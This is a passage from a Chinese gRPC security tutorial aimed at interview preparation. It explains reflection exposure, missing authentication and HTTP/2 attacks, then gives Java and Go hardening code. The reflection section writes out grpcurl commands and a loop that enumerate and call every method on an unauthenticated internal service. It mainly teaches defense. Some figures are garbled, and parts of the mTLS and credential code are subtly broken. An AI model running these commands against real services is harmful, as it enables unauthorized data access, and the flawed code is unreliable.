gRPC 是 Google 开源的高性能 RPC 框架,基于 HTTP/2 传输,用 Protobuf(二进制)序列化。 主要用于服务间通信(东西向流量),而不是浏览器到服务器(南北向)。

三个关键词(不懂这三个后面全看不懂):

关键词 白话解释 类比
Protobuf 二进制的序列化格式。比 JSON 小 310 倍、快 510 倍,但人眼读不懂 JSON 是明信片(谁都能看),Protobuf 是密文电报(要对照密码本才能读)
HTTP/2 新一代 HTTP,支持多路复用、头部压缩、双向流 HTTP/1.1 是单车道,HTTP/2 是多车道高速
.proto 文件 接口定义文件,声明有哪些服务、方法、消息结构。服务端和客户端共用同一份 双方签好的合同

一个最小的 .proto:

syntax = "proto3";

package com.example.user;

// ★ 服务定义(对应 REST 的 Controller)
service UserService {
  rpc GetUser(GetUserRequest) returns (User);
  rpc ListUsers(ListUsersRequest) returns (stream User);   // ★ 服务端流式
  rpc UpdateUser(UpdateUserRequest) returns (User);
  rpc DeleteUser(DeleteUserRequest) returns (google.protobuf.Empty);
}

// ★ 消息定义(对应 REST 的 DTO)
message GetUserRequest {
  string user_id = 1;
}

message User {
  string id = 1;
  string name = 2;
  string email = 3;
  string phone = 4;
  string password_hash = 5;      // ⚠️ 危险:不该出现在接口里
  int32 role = 6;
}

3.9.2 ★ gRPC 安全的五个“特殊之处”(面试核心)

这是本章的理论骨架。面试官问“gRPC 安全和 REST 有什么不同”,就答这五点。

特殊之处 1:二进制 = 中间设备全瞎了

REST(JSON)的请求:
POST /api/users HTTP/1.1
Authorization: Bearer eyJhbGciOi...
Content-Type: application/json

{"userId":"9527","action":"delete"}
   ↑ WAF 看得懂、网关看得懂、日志看得懂、审计系统看得懂

─────────────────────────────────────────────────

gRPC(Protobuf)的请求:
POST /com.example.user.UserService/GetUser HTTP/2
Content-Type: application/grpc
te: trailers

\x00\x00\x00\x0f\x0a\r9527      ← 就这一串二进制
   ↑ WAF:看不懂,放行
   ↑ 传统网关:看不懂,只能透传
   ↑ 日志系统:一堆乱码
   ↑ SIEM/审计:无法提取字段做检测

后果(★ 这是最关键的认知):

传统防护手段 对 REST 对 gRPC
WAF(规则匹配 SQL 注入特征) ✅ 有效 ❌ 基本失效(看不到内容)
API 网关(路径级路由/鉴权) ✅ 有效 ⚠️ 只能看到 /包名.服务名/方法名,看不到参数
日志审计(SQL 注入检测) ✅ 有效 ❌ 失效
DLP(敏感数据外泄检测) ✅ 有效 ❌ 失效
限流(按路径) ✅ 有效 ⚠️ 只能按方法名,不能按参数
mTLS + 服务网格 不常用 ✅ 成了主力
应用层拦截器 不常用 ✅ 成了主力

★ 面试金句: “gRPC 用二进制换来性能,代价是传统安全设备全部失明。 所以 gRPC 的安全建设重心必须转移: 从’依赖边界设备(WAF/网关)‘转移到’服务自身(mTLS + 拦截器)‘, 从’内容检测’转移到’身份认证和授权’。 这就是为什么 gRPC 和服务网格(Istio)几乎是绑定的 —— 没有服务网格,gRPC 的安全基本裸奔。”

特殊之处 2:反射服务(Reflection)= 自动暴露全部接口清单

gRPC 有一个可选的 Server Reflection 服务, 客户端可以调它问“你都有哪些服务和方法?消息结构是什么?”, 服务端会把完整的 .proto 定义返回。

★ 这就是 gRPC 版的 GraphQL Introspection(功能几乎一模一样,危害也一模一样)。

利用工具(grpcurl,类比 curl 之于 HTTP):

# ===== ① 安装 grpcurl =====
go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
# 或用 docker:
# alias grpcurl='docker run --rm -v $(pwd):/pwd -w /pwd fullstorydev/grpcurl'

# ===== ② 列出目标的所有服务(★ 反射开着的话)=====
grpcurl -plaintext 10.0.0.5:9090 list
# 输出:
#   com.example.user.UserService
#   com.example.order.OrderService
#   com.example.payment.PaymentService
#   grpc.reflection.v1alpha.ServerReflection    ← 看到这个就说明反射开着

# ===== ③ 列出某个服务的所有方法 =====
grpcurl -plaintext 10.0.0.5:9090 list com.example.user.UserService
# 输出:
#   com.example.user.UserService.GetUser
#   com.example.user.UserService.ListUsers
#   com.example.user.UserService.UpdateUser
#   com.example.user.UserService.DeleteUser

# ===== ④ ★ 查看方法的完整定义(参数结构、类型)=====
grpcurl -plaintext 10.0.0.5:9090 describe com.example.user.UserService.GetUser
# 输出:
#   rpc GetUser ( .com.example.user.GetUserRequest ) returns ( .com.example.user.User );

grpcurl -plaintext 10.0.0.5:9090 describe com.example.user.User
# 输出完整的 User 消息定义(所有字段名和类型)
#   message User {
#     string id = 1;
#     string name = 2;
#     string email = 3;
#     string phone = 4;
#     string password_hash = 5;     ← ★ 一眼看到这个字段
#     int32 role = 6;
#   }

# ===== ⑤ 直接调用(★ 如果还没有认证)=====
grpcurl -plaintext -d '{"user_id":"1"}' 10.0.0.5:9090 \
  com.example.user.UserService/GetUser
# 返回完整的 User 对象,包括 password_hash!

# ===== ⑥ 暴力枚举:遍历所有方法看哪些能调 =====
for svc in $(grpcurl -plaintext 10.0.0.5:9090 list); do
  for m in $(grpcurl -plaintext 10.0.0.5:9090 list $svc); do
    echo "=== $m ==="
    grpcurl -plaintext -d '{}' 10.0.0.5:9090 $m 2>&1 | head -5
  done
done

# ===== ⑦ 反射关了也能试:用本地 .proto 直接调 =====
# 如果攻击者拿到了 .proto(代码泄露、前端、GitHub),反射关了也没用
grpcurl -plaintext -import-path ./proto -proto user.proto \
  -d '{"user_id":"1"}' 10.0.0.5:9090 com.example.user.UserService/GetUser

★ 危害链条(和 GraphQL 内省一模一样):

反射开启
  ↓
攻击者拿到所有服务/方法/消息结构
  ↓
发现 DeleteUser、UpdateRole、Refund 等危险方法
  ↓
发现 password_hash、internal_score 等敏感字段
  ↓
(如果还没有认证)直接调用 → 拖库 / 删数据 / 提权

特殊之处 3:默认没有认证(★ 最常见的致命问题)

gRPC 框架本身【不提供任何认证机制】。 官方文档明确说:“gRPC 支持多种认证机制,但不强制使用任何一种”。

后果:90% 的内网 gRPC 服务是裸奔的。

原因也很好理解:开发者的心理是“这是内网服务,前面有网关挡着,不需要认证”。 而这个心理,正是第二章讲的 API2 认证失效 里“微服务间隐式信任”的翻版。

★ 最危险的组合(这是内网被攻破后能横向移动的根本原因):

边界被突破(比如 SSRF、反序列化 RCE、员工电脑中毒)
        ↓
攻击者进入内网
        ↓
发现 10.0.0.5:9090 是个 gRPC 服务,【无认证】
        ↓
grpcurl list → 拿到所有方法
        ↓
grpcurl 调用 DeleteUser / Refund / Transfer / ExportAllData
        ↓
★ 而且因为 WAF/网关都是透明的、日志里是二进制,几乎【无法被发现】

特殊之处 4:HTTP/2 特有攻击面

攻击 原理 防护
HPACK 炸弹(CVE-2019-9511) HTTP/2 头部压缩(HPACK)可以被构造成“1KB 的请求解压成 1GB” 限制头部大小、及时打补丁
流控绕过(CVE-2019-9512/9514) 恶意操纵 WINDOW_UPDATE 帧,让服务端内存耗尽 gRPC 版本升级
多路复用 DoS 一条 TCP 连接上开 10 万个流 限制 MAX_CONCURRENT_STREAMS
0-RTT 重放(HTTP/3) 早期数据可被重放 禁用 0-RTT 或只用于幂等操作

关键配置:

/**
 * ✅ HTTP/2 安全相关配置(gRPC Java)
 */
@Configuration
public class GrpcHttp2SecurityConfig {

    @Bean
    public ServerBuilder<?> grpcServerBuilder() {
        return NettyServerBuilder.forPort(9090)
                // ① ★ 最大并发流数(防多路复用 DoS)
                .maxConcurrentCallsPerConnection(100)
                // ② ★ 最大消息大小(默认 4MB,改小一点)
                .maxInboundMessageSize(1024 * 1024)              // 1MB
                // ③ ★ 头部大小限制(防 HPACK 炸弹)
                .maxInboundMetadataSize(8 * 1024)                // 8KB
                // ④ ★ 连接空闲超时(防僵尸连接)
                .keepAliveTime(30, TimeUnit.SECONDS)
                .keepAliveTimeout(10, TimeUnit.SECONDS)
                // ⑤ ★ 允许的最小 ping 间隔(防 ping 洪水)
                .permitKeepAliveTime(10, TimeUnit.SECONDS)
                .permitKeepAliveWithoutCalls(false)
                // ⑥ ★ 流控窗口(防流量操纵)
                .flowControlWindow(1024 * 1024)                  // 1MB
                // ⑦ ★ 连接数限制
                .maxConnectionAge(30, TimeUnit.MINUTES)
                .maxConnectionAgeGrace(10, TimeUnit.SECONDS);
    }
}

特殊之处 5:流式接口的放大风险

gRPC 支持 stream(流式):一次调用可以返回无限条数据。 这相当于 REST 里的“不分页”,而且没有任何默认限制。

service UserService {
  // ★ 服务端流式:一次请求,返回流
  rpc ListUsers(ListUsersRequest) returns (stream User);

  // ★ 双向流式:两边都可以一直发
  rpc Chat(stream ChatMessage) returns (stream ChatMessage);
}
/**
 * ❌ 危险:流式接口没有数量限制
 */
@Override
public void listUsers(ListUsersRequest request,
                      StreamObserver<User> responseObserver) {
    // ❌ 全表查询 + 流式返回,1000 万用户全部推给客户端
    //    → 内存、网络、数据库连接全部打满
    userRepository.findAll().forEach(responseObserver::onNext);
    responseObserver.onCompleted();
}
/**
 * ✅ 修复:流式接口必须分页 + 计数上限 + 超时
 */
@Override
public void listUsers(ListUsersRequest request,
                      StreamObserver<User> responseObserver) {

    // ① 分页夹紧
    int pageSize = Math.min(request.getPageSize() > 0 ? request.getPageSize() : 100, 500);
    int maxRecords = Math.min(request.getMaxRecords() > 0 ? request.getMaxRecords() : 5000, 10000);

    // ② 计数 + 超限中断
    AtomicInteger sent = new AtomicInteger(0);
    AtomicBoolean aborted = new AtomicBoolean(false);

    // ③ 用可分页的查询(不要 findAll 再内存过滤)
    Pageable pageable = PageRequest.of(0, pageSize);
    Page<User> page;

    do {
        page = userRepository.findAll(pageable);

        for (User u : page.getContent()) {
            if (sent.incrementAndGet() > maxRecords) {
                log.warn("[安全] 流式接口返回条数超限,中断 sent={}", sent.get());
                aborted.set(true);
                break;
            }
            responseObserver.onNext(toProto(u));
        }
        pageable = pageable.next();
    } while (page.hasNext() && !aborted.get());

    // ④ 超时保护
    if (aborted.get()) {
        responseObserver.onError(Status.RESOURCE_EXHAUSTED
                .withDescription("返回条数超过上限 " + maxRecords)
                .asRuntimeException());
        return;
    }

    responseObserver.onCompleted();
}

3.9.3 gRPC 七大攻击面 + 完整加固方案

攻击面 1️⃣:反射服务泄露 → 关闭反射

/**
 * ✅ 生产环境关闭 gRPC 反射
 */
@Configuration
@Slf4j
public class GrpcReflectionConfig {

    @Value("${grpc.reflection.enabled:false}")
    private boolean reflectionEnabled;

    @Bean
    public GrpcServerConfigurer reflectionConfigurer() {
        return serverBuilder -> {
            if (reflectionEnabled) {
                // ★ 只在开发/测试环境开启
                //   ProtoReflectionService 是 grpc-services 包提供的
                serverBuilder.addService(ProtoReflectionService.newInstance());
                log.warn("[安全] gRPC 反射已【开启】,生产环境必须关闭!");
            } else {
                log.info("[安全] gRPC 反射已关闭");
            }
        };
    }
}

如果是 Go 实现:

// ✅ 生产环境关闭反射
func main() {
    s := grpc.NewServer(...)
    pb.RegisterUserServiceServer(s, &server{})

    // ★ 只在非生产环境注册反射
    if os.Getenv("ENV") != "production" {
        reflection.Register(s)
        log.Println("[开发] gRPC 反射已开启")
    } else {
        log.Println("[安全] 生产环境,gRPC 反射已关闭")
    }

    s.Serve(lis)
}

★ 如果开发环境必须开,用白名单限制:

/**
 * ✅ 折中方案:反射开启,但用拦截器限制来源 IP
 */
public class ReflectionWhitelistInterceptor implements ServerInterceptor {

    private static final Set<String> ALLOWED_IPS = Set.of(
            "127.0.0.1", "10.0.1.100"    // 开发机 IP
    );

    @Override
    public <ReqT, RespT> ServerCall.Listener<ReqT> interceptCall(
            ServerCall<ReqT, RespT> call,
            Metadata headers,
            ServerCallHandler<ReqT, RespT> next) {

        String method = call.getMethodDescriptor().getFullMethodName();

        // ★ 只对反射服务做限制
        if (method.startsWith("grpc.reflection.")) {
            String clientIp = getClientIp(call);
            if (!ALLOWED_IPS.contains(clientIp)) {
                log.warn("[安全] 拒绝非白名单 IP 访问 gRPC 反射 ip={}", clientIp);
                call.close(Status.PERMISSION_DENIED
                        .withDescription("反射服务不对外开放"), new Metadata());
                return new ServerCall.Listener<>() {};
            }
        }

        return next.startCall(call, headers);
    }

    private String getClientIp(ServerCall<?, ?> call) {
        // 从 Attributes 里取远端地址
        SocketAddress addr = call.getAttributes()
                .get(Grpc.TRANSPORT_ATTR_REMOTE_ADDR);
        if (addr instanceof InetSocketAddress inet) {
            return inet.getAddress().getHostAddress();
        }
        return "unknown";
    }
}

攻击面 2️⃣:无认证 → mTLS + Token 双保险

✅ mTLS(双向 TLS)—— gRPC 的推荐认证方式

先理解 mTLS 和普通 TLS 的区别(★ 面试必考):

类型 谁验证谁 场景 解决了什么
单向 TLS(普通 HTTPS) 客户端验证服务端 浏览器访问网站 防中间人、防钓鱼
mTLS(双向 TLS) 双方互相验证 服务间通信 服务身份认证(知道“对方是谁”)

生活类比(★ 记住这个):

单向 TLS:你去银行,银行出示营业执照,你确认“这确实是工商银行” → 你敢存钱。 (你验证了银行,但银行不知道你是谁)

mTLS:你去银行,银行出示执照;你也要出示身份证,银行确认“这确实是张三本人” → 才给你办业务。 (双方互相验证身份)

在微服务里,每个服务都要有“身份证”, 这个身份证就是 X.509 证书,发身份证的机构就是 CA(证书颁发机构)。

gRPC Java 的 mTLS 配置:

/**
 * ✅✅✅ gRPC mTLS 服务端配置
 *
 * ★ mTLS 在 gRPC 里几乎就是标配,因为:
 *   ① gRPC 主要用于服务间通信,没有浏览器那种 Cookie/Session 机制
 *   ② 二进制协议,没法在 body 里塞 token(虽然可以放 metadata,但 mTLS 更透明)
 *   ③ 服务网格(Istio/Linkerd)原生支持 mTLS,业务代码零侵入
 */
@Configuration
@Slf4j
public class GrpcMtlsServerConfig {

    @Value("${grpc.tls.cert-chain:classpath:certs/server.pem}")
    private Resource certChain;      // 服务端证书(含公钥)

    @Value("${grpc.tls.private-key:classpath:certs/server.key}")
    private Resource privateKey;     // 服务端私钥

    @Value("${grpc.tls.trust-cert-collection:classpath:certs/ca.pem}")
    private Resource trustCerts;     // ★ 信任的 CA 证书(用来验证客户端证书)

    @Bean
    public ServerBuilder<?> grpcServerBuilder() throws IOException {

        // ① 加载证书链和私钥
        X509CertificateChain certChainFile = new X509CertificateChain(certChain);
        PrivateKey keyFile = loadPrivateKey(privateKey);

        // ② ★ 加载信任的 CA(用于验证客户端证书)
        List<X509Certificate> trustedCAs = loadCertificates(trustCerts);
        X509TrustManager trustManager = new RootCaTrustManager(trustedCAs);

        // ③ 构建 SSL Context
        SslContextBuilder sslBuilder = GrpcSslContexts.forServer(
                        new File(certChainFile.getPath()),
                        new File(keyFile.getPath()))
                // ★ 关键:要求客户端提供证书
                .clientAuth(ClientAuth.REQUIRE)          // ← 这一行开启 mTLS
                .trustManager(trustedCAs.toArray(new X509Certificate[0]))
                // ★ 协议限制:只允许 TLS 1.3(1.2 也可以,1.0/1.1 禁用)
                .protocols("TLSv1.3", "TLSv1.2")
                // ★ 密码套件限制:只用 AEAD 类(防 BEAST/Lucky13 等攻击)
                .ciphers(Arrays.asList(
                        "TLS_AES_128_GCM_SHA256",
                        "TLS_AES_256_GCM_SHA384",
                        "TLS_CHACHA20_POLY1305_SHA256",
                        "ECDHE-RSA-AES128-GCM-SHA256",
                        "ECDHE-RSA-AES256-GCM-SHA384"))
                // ★ 会话缓存(性能)
                .sessionCacheSize(1024)
                .sessionTimeout(3600);

        return NettyServerBuilder.forPort(9090)
                .sslContext(sslBuilder.build())
                .maxInboundMessageSize(1024 * 1024)
                .maxConcurrentCallsPerConnection(100)
                .intercept(new MtlsIdentityInterceptor())   // ★ 从证书里提取身份
                .intercept(new AuthorizationInterceptor()); // ★ 授权
    }

    /**
     * 从客户端证书里提取身份(服务名 / SPIFFE ID)
     */
    static class MtlsIdentityInterceptor implements ServerInterceptor {

        @Override
        public <ReqT, RespT> ServerCall.Listener<ReqT> interceptCall(
                ServerCall<ReqT, RespT> call,
                Metadata headers,
                ServerCallHandler<ReqT, RespT> next) {

            // ★ 从 SSL Session 里取客户端证书
            SSLSession sslSession = call.getAttributes()
                    .get(Grpc.TRANSPORT_ATTR_SSL_SESSION);

            if (sslSession == null) {
                log.error("[安全] gRPC 调用没有 TLS 会话,拒绝(mTLS 未生效?)");
                call.close(Status.UNAUTHENTICATED
                        .withDescription("需要 TLS 连接"), new Metadata());
                return new ServerCall.Listener<>() {};
            }

            try {
                // ★ 取对端证书链
                X509Certificate[] peerCerts =
                        (X509Certificate[]) sslSession.getPeerCertificates();

                if (peerCerts == null || peerCerts.length == 0) {
                    log.error("[安全] 客户端未提供证书,拒绝");
                    call.close(Status.UNAUTHENTICATED
                            .withDescription("需要客户端证书"), new Metadata());
                    return new ServerCall.Listener<>() {};
                }

                X509Certificate clientCert = peerCerts[0];

                // ★ 提取身份:
                //   方式 1:从 CN(Common Name)里取(传统做法)
                String cn = extractCN(clientCert.getSubjectX500Principal().getName());

                //   方式 2(★ 推荐):从 SAN(Subject Alternative Name)里的
                //                    SPIFFE ID 取(零信任标准做法)
                String spiffeId = extractSpiffeId(clientCert);

                // ★ 校验证书是否过期
                clientCert.checkValidity();

                // ★ 把身份放到 Context 里,后续拦截器/业务代码都能取到
                Context ctx = Context.current()
                        .withValue(PEER_IDENTITY_KEY, new PeerIdentity(cn, spiffeId));

                log.debug("[安全] gRPC 客户端身份 cn={} spiffeId={}", cn, spiffeId);

                return Contexts.interceptCall(ctx, call, headers, next);

            } catch (SSLPeerUnverifiedException e) {
                log.error("[安全] 客户端证书验证失败:{}", e.getMessage());
                call.close(Status.UNAUTHENTICATED
                        .withDescription("客户端证书验证失败"), new Metadata());
                return new ServerCall.Listener<>() {};
            } catch (CertificateExpiredException e) {
                log.error("[安全] 客户端证书已过期");
                call.close(Status.UNAUTHENTICATED
                        .withDescription("客户端证书已过期"), new Metadata());
                return new ServerCall.Listener<>() {};
            }
        }

        public static final Context.Key<PeerIdentity> PEER_IDENTITY_KEY =
                Context.key("peerIdentity");

        /** 从 DN 里提取 CN,如 "CN=order-service,OU=backend,O=corp" → "order-service" */
        private String extractCN(String dn) {
            for (String part : dn.split(",")) {
                String trimmed = part.trim();
                if (trimmed.startsWith("CN=")) {
                    return trimmed.substring(3);
                }
            }
            return "unknown";
        }

        /**
         * ★ 提取 SPIFFE ID
         *   SPIFFE ID 格式:spiffe://trust-domain/ns/namespace/sa/service-account
         *   存放在证书的 SAN(Subject Alternative Name)的 URI 字段里
         */
        private String extractSpiffeId(X509Certificate cert) {
            try {
                Collection<List<?>> sans = cert.getSubjectAlternativeNames();
                if (sans == null) return null;

                for (List<?> san : sans) {
                    Integer type = (Integer) san.get(0);
                    if (type == 6) {   // 6 = URI 类型的 SAN
                        String uri = (String) san.get(1);
                        if (uri.startsWith("spiffe://")) {
                            return uri;
                        }
                    }
                }
            } catch (CertificateParsingException e) {
                log.warn("解析 SAN 失败:{}", e.getMessage());
            }
            return null;
        }

        public record PeerIdentity(String commonName, String spiffeId) {}
    }
}

客户端配置(也要带证书):

/**
 * ✅ gRPC 客户端 mTLS 配置
 */
@Configuration
public class GrpcMtlsClientConfig {

    @Bean
    public ManagedChannel userGrpcChannel(
            @Value("${grpc.client.user.host}") String host,
            @Value("${grpc.client.user.port}") int port) throws SSLException {

        SslContext sslContext = GrpcSslContexts.forClient()
                // ★ 客户端也要提供自己的证书(否则服务端 REQUIRE 会拒绝)
                .keyManager(new File("certs/client.pem"),
                            new File("certs/client.key"))
                // ★ 信任服务端证书的 CA
                .trustManager(new File("certs/ca.pem"))
                .protocols("TLSv1.3", "TLSv1.2")
                .build();

        return NettyChannelBuilder.forAddress(host, port)
                .sslContext(sslContext)
                // ★ 关键:校验服务端证书的主机名(防中间人)
                //   不要图省事用 overrideAuthority 跳过校验!
                .build();
    }
}

⚠️ 五个常见的 mTLS 配置错误(面试高频):

错误 后果 正确做法
.clientAuth(ClientAuth.NONE) 客户端不用给证书 = 没有 mTLS ClientAuth.REQUIRE
.trustManager(InsecureTrustManagerFactory.INSTANCE) 信任所有证书 = 中间人畅通无阻 用真实 CA 证书
客户端 .overrideAuthority() 乱设 跳过主机名校验 不设,或设为真实的服务名
证书【不过期】且【不轮换】 泄露了也吊销不掉 短期证书(SPIFFE 默认 1 小时)+ 自动轮换
用同一个证书给所有服务 一个泄露全崩 每个服务实例独立身份
✅ Token 认证(gRPC Call Credentials)

mTLS 解决“服务对服务“的身份,但解决不了”这个请求是哪个用户发起的“。 所以还需要 Token(通常是 JWT)在 metadata 里传递。

/**
 * ✅ gRPC Token 认证拦截器(服务端)
 */
@Component
@Slf4j
public class GrpcAuthInterceptor implements ServerInterceptor {

    private static final Metadata.Key<String> AUTHORIZATION_KEY =
            Metadata.Key.of("authorization", Metadata.ASCII_STRING_MARSHALLER);

    /** ★ 不需要认证的方法白名单(健康检查、反射等)*/
    private static final Set<String> PUBLIC_METHODS = Set.of(
            "grpc.health.v1.Health/Check",
            "grpc.health.v1.Health/Watch"
    );

    @Autowired
    private JwtService jwtService;

    @Override
    public <ReqT, RespT> ServerCall.Listener<ReqT> interceptCall(
            ServerCall<ReqT, RespT> call,
            Metadata headers,
            ServerCallHandler<ReqT, RespT> next) {

        String method = call.getMethodDescriptor().getFullMethodName();

        // ① 公开方法放行
        if (PUBLIC_METHODS.contains(method)) {
            return next.startCall(call, headers);
        }

        // ② ★ 先检查 mTLS 身份(服务身份)
        PeerIdentity peer = MtlsIdentityInterceptor.PEER_IDENTITY_KEY.get();
        if (peer == null) {
            log.error("[安全] gRPC 调用缺少服务身份 method={}", method);
            call.close(Status.UNAUTHENTICATED
                    .withDescription("缺少客户端证书"), new Metadata());
            return new ServerCall.Listener<>() {};
        }

        // ③ 取 JWT(用户身份)
        String authHeader = headers.get(AUTHORIZATION_KEY);
        if (authHeader == null || !authHeader.startsWith("Bearer ")) {
            log.warn("[安全] gRPC 调用缺少 Token method={} peer={}",
                     method, peer.commonName());
            call.close(Status.UNAUTHENTICATED
                    .withDescription("缺少认证 Token"), new Metadata());
            return new ServerCall.Listener<>() {};
        }

        // ④ 校验 JWT
        JwtClaims claims;
        try {
            claims = jwtService.parse(authHeader.substring(7));
        } catch (ExpiredJwtException e) {
            call.close(Status.UNAUTHENTICATED
                    .withDescription("Token 已过期"), new Metadata());
            return new ServerCall.Listener<>() {};
        } catch (Exception e) {
            log.warn("[安全] gRPC Token 无效 method={} error={}",
                     method, e.getMessage());
            call.close(Status.UNAUTHENTICATED
                    .withDescription("Token 无效"), new Metadata());
            return new ServerCall.Listener<>() {};
        }

        // ⑤ ★ 关键:服务间调用时,JWT 的 audience 必须匹配
        //    防止"给 A 服务的 token 拿去调 B 服务"
        if (!claims.getAudience().contains(peer.commonName())) {
            log.error("[安全] Token audience 不匹配 peer={} aud={}",
                      peer.commonName(), claims.getAudience());
            call.close(Status.PERMISSION_DENIED
                    .withDescription("Token 不适用于该服务"), new Metadata());
            return new ServerCall.Listener<>() {};
        }

        // ⑥ 把用户信息放进 Context
        Context ctx = Context.current()
                .withValue(USER_CONTEXT_KEY, new UserContext(
                        claims.getUserId(), claims.getRoles(), claims.getTenantId()));

        return Contexts.interceptCall(ctx, call, headers, next);
    }

    public static final Context.Key<UserContext> USER_CONTEXT_KEY =
            Context.key("userContext");

    public record UserContext(String userId, List<String> roles, String tenantId) {}
}
/**
 * ✅ 客户端传递 Token(CallCredentials)
 */
public class BearerTokenCredential extends CallCredentials {

    private final Supplier<String> tokenSupplier;

    public BearerTokenCredential(Supplier<String> tokenSupplier) {
        this.tokenSupplier = tokenSupplier;
    }

    @Override
    public void applyRequestMetadata(RequestInfo requestInfo,
                                     Executor appExecutor,
                                     MetadataApplier applier) {
        appExecutor.execute(() -> {
            try {
                Metadata headers = new Metadata();
                headers.put(
                        Metadata.Key.of("authorization",
                                Metadata.ASCII_STRING_MARSHALLER),
                        "Bearer " + tokenSupplier.get());
                applier.apply(headers);
            } catch (Throwable e) {
                applier.fail(Status.UNAUTHENTICATED.withCause(e));
            }
        });
    }

    /**
     * ★ 这个方法决定:这个 Credential 能用在哪些 channel 上
     *   错误实现会泄露 token 给其他服务!
     */
    @Override
    public void thisUsesUnstableApi() {
        // no-op
    }
}

/**
 * 使用:在网关里把 HTTP 的 JWT 透传给下游 gRPC
 */
@Service
public class UserGrpcClient {

    private final UserServiceGrpc.UserServiceBlockingStub stub;

    public UserGrpcClient(ManagedChannel channel) {
        this.stub = UserServiceGrpc.newBlockingStub(channel);
    }

    public User getUser(String userId, String userToken, String tenantId) {
        return stub
                .withCallCredentials(new BearerTokenCredential(() -> userToken))
                // ★ 同时传租户信息
                .withMetadata(buildTenantMetadata(tenantId))
                .withDeadlineAfter(3, TimeUnit.SECONDS)     // ★ 超时
                .getUser(GetUserRequest.newBuilder()
                        .setUserId(userId)
                        .build());
    }

    private Metadata buildTenantMetadata(String tenantId) {
        Metadata md = new Metadata();
        md.put(Metadata.Key.of("x-tenant-id", Metadata.ASCII_STRING_MARSHALLER), tenantId);
        return md;
    }
}

攻击面 3️⃣:授权缺失(BOLA / BFLA) → 方法级 + 数据级授权

★ 关键认知: mTLS + Token 只解决了“你是谁“(认证), 还没解决”你能不能做这件事“(授权)。 gRPC 里 BOLA 一样存在 —— GetUser(user_id="别人的ID")。

/**
 * ✅✅✅ gRPC 授权拦截器(方法级)
 */
@Component
@Slf4j
public class GrpcAuthorizationInterceptor implements ServerInterceptor {

    /**
     * ★ 方法 → 所需权限的映射表
     *   ★ 默认拒绝:不在表里的方法,一律拒绝
     */
    private static final Map<String, String> METHOD_PERMISSIONS = Map.of(
            "com.example.user.UserService/GetUser",      "user:read",
            "com.example.user.UserService/ListUsers",    "user:list",
            "com.example.user.UserService/UpdateUser",   "user:write",
            "com.example.user.UserService/DeleteUser",   "user:delete",
            "com.example.order.OrderService/Refund",     "order:refund",
            "com.example.payment.PaymentService/Transfer","payment:transfer"
    );

    /** ★ 服务 → 所需角色(更粗粒度,配合权限表用)*/
    private static final Map<String, String> SERVICE_ROLES = Map.of(
            "com.example.payment.PaymentService", "FINANCE",
            "com.example.admin.AdminService",     "ADMIN"
    );

    @Override
    public <ReqT, RespT> ServerCall.Listener<ReqT> interceptCall(
            ServerCall<ReqT, RespT> call,
            Metadata headers,
            ServerCallHandler<ReqT, RespT> next) {

        String fullMethod = call.getMethodDescriptor().getFullMethodName();
        String service = fullMethod.substring(0, fullMethod.lastIndexOf('/'));

        UserContext user = GrpcAuthInterceptor.USER_CONTEXT_KEY.get();
        PeerIdentity peer = MtlsIdentityInterceptor.PEER_IDENTITY_KEY.get();

        // ===== ① 内部服务调用(无用户上下文):校验服务级权限 =====
        if (user == null) {
            if (peer == null) {
                call.close(Status.UNAUTHENTICATED
                        .withDescription("缺少身份信息"), new Metadata());
                return new ServerCall.Listener<>() {};
            }

            // ★ 服务到服务的调用,校验调用方服务是否被允许
            if (!isServiceAllowed(peer, service)) {
                log.error("[安全] 服务间调用未授权 caller={} target={}",
                          peer.commonName(), service);
                call.close(Status.PERMISSION_DENIED
                        .withDescription("服务 " + peer.commonName()
                                + " 无权调用 " + service), new Metadata());
                return new ServerCall.Listener<>() {};
            }

            log.debug("[安全] 服务间调用放行 caller={} target={}",
                      peer.commonName(), fullMethod);
            return next.startCall(call, headers);
        }

        // ===== ② 用户调用:校验方法级权限 =====
        String requiredPermission = METHOD_PERMISSIONS.get(fullMethod);

        if (requiredPermission == null) {
            // ★★ 默认拒绝:方法不在映射表里 = 未配置 = 拒绝
            log.error("[安全] gRPC 方法未配置权限,默认拒绝 method={}(请补充权限配置)",
                      fullMethod);
            call.close(Status.PERMISSION_DENIED
                    .withDescription("该方法未配置访问权限"), new Metadata());
            return new ServerCall.Listener<>() {};
        }

        if (!user.roles().stream().anyMatch(r -> hasPermission(r, requiredPermission))) {
            log.warn("[安全] gRPC 权限不足 userId={} method={} required={} roles={}",
                     user.userId(), fullMethod, requiredPermission, user.roles());
            call.close(Status.PERMISSION_DENIED
                    .withDescription("权限不足,需要 " + requiredPermission), new Metadata());
            return new ServerCall.Listener<>() {};
        }

        return next.startCall(call, headers);
    }

    /** 服务级调用白名单(★ 服务网格里应该由 AuthorizationPolicy 管,这里是应用层兜底)*/
    private boolean isServiceAllowed(PeerIdentity peer, String targetService) {
        // 从配置中心读取,这里简化为硬编码示例
        Map<String, Set<String>> ALLOWED_CALLS = Map.of(
                "order-service",  Set.of("com.example.user.UserService",
                                         "com.example.payment.PaymentService"),
                "user-service",   Set.of("com.example.notification.NotificationService"),
                "api-gateway",    Set.of("com.example.user.UserService",
                                         "com.example.order.OrderService",
                                         "com.example.payment.PaymentService")
        );
        return ALLOWED_CALLS
                .getOrDefault(peer.commonName(), Set.of())
                .contains(targetService);
    }

    private boolean hasPermission(String role, String permission) {
        // RBAC 权限表(实际项目从数据库/配置中心读)
        Map<String, Set<String>> ROLE_PERMISSIONS = Map.of(
                "ADMIN",   Set.of("user:read","user:list","user:write","user:delete",
                                  "order:refund","payment:transfer"),
                "OPERATOR",Set.of("user:read","user:list","order:refund"),
                "USER",    Set.of("user:read")
        );
        return ROLE_PERMISSIONS.getOrDefault(role, Set.of()).contains(permission);
    }
}

★ 数据级授权(BOLA 防护)—— gRPC 里的越权

/**
 * ✅ gRPC 的数据级授权(★ 防 BOLA,和 REST 一模一样的道理)
 */
@GrpcService
@Slf4j
public class UserGrpcService extends UserServiceGrpc.UserServiceImplBase {

    @Autowired
    private UserRepository userRepository;

    @Override
    public void getUser(GetUserRequest request,
                        StreamObserver<User> responseObserver) {

        UserContext ctx = GrpcAuthInterceptor.USER_CONTEXT_KEY.get();

        // ❌ 错误写法:直接按 ID 查,不校验归属
        // User u = userRepository.findById(request.getUserId());

        // ✅ 正确写法 1:SQL 里带租户 + 归属条件(★ 推荐)
        User u = userRepository.findByIdAndTenantId(
                request.getUserId(), ctx.tenantId());

        if (u == null) {
            // ★ 返回 NOT_FOUND 而不是 PERMISSION_DENIED(防存在性泄露)
